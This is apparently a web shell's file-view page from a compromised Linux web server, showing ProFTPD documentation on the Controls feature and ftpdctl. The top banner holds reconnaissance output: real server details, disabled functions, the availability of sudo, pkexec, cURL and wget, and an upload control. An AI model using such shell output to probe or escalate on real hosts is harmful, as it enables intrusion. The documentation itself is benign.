Server IP : 195.201.23.43 / Your IP : 3.22.194.5 Web Server : Apache System : Linux webserver2.vercom.be 5.4.0-192-generic #212-Ubuntu SMP Fri Jul 5 09:47:39 UTC 2024 x86_64 User : kdecoratie ( 1041) PHP Version : 7.1.33-63+ubuntu20.04.1+deb.sury.org+1 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /usr/share/doc/proftpd-doc/misc/ |
Upload File : |
Controls -------- A new functionality called Controls was added in ProFTPD 1.2.10rc1. Controls is a feature that provides a way for system administrators to communicate directly with a running proftpd daemon, making it possible to do on-the-fly configuration changes and other capabilities. This feature includes a program called `ftpdctl', for communicating with the daemon from the command line, and an API that third-party modules can use to extend the Control commands available to `ftpdctl'. Note, however, that this functionality is only available if proftpd is run in standalone mode (i.e. "ServerType standalone"); proftpd daemons run via inetd/xinetd cannot support this feature. To enable support for Controls, use the --enable-ctrls configure option: ./configure --enable-ctrls ... This enables support for the Controls API in the core engine, and causes the userland program `ftpdctl' to be functional. It also causes the mod_ctrls module to be automatically compiled into proftpd (hence you should NOT use both --enable-ctrls and --with-modules=mod_ctrls). The mod_ctrls module provides some basic ftpdctl commands: help insctrl lsctrl rmctrl Online documentation for these commands can currently be found here: http://www.castaglia.org/proftpd/modules/mod_ctrls.html Additional modules that make use of Controls have been added to the contrib/ area that extend the number of ftpdctl commands. For example, to use the mod_ctrls_admin module, you would add it to your --with-modules configure option, in addition to enabling Controls support: ./configure --enable-ctrls --with-modules=mod_ctrls_admin ... More information on the mod_ctrls_admin module can be found in the HTML documentation for that module, which can be found in the contrib/ directory as well as online: http://www.castaglia.org/proftpd/modules/mod_ctrls_admin.html As always, please report any bugs or problems with the new Controls functionality to ProFTPD's bug tracking system: http://bugs.proftpd.orgPrivate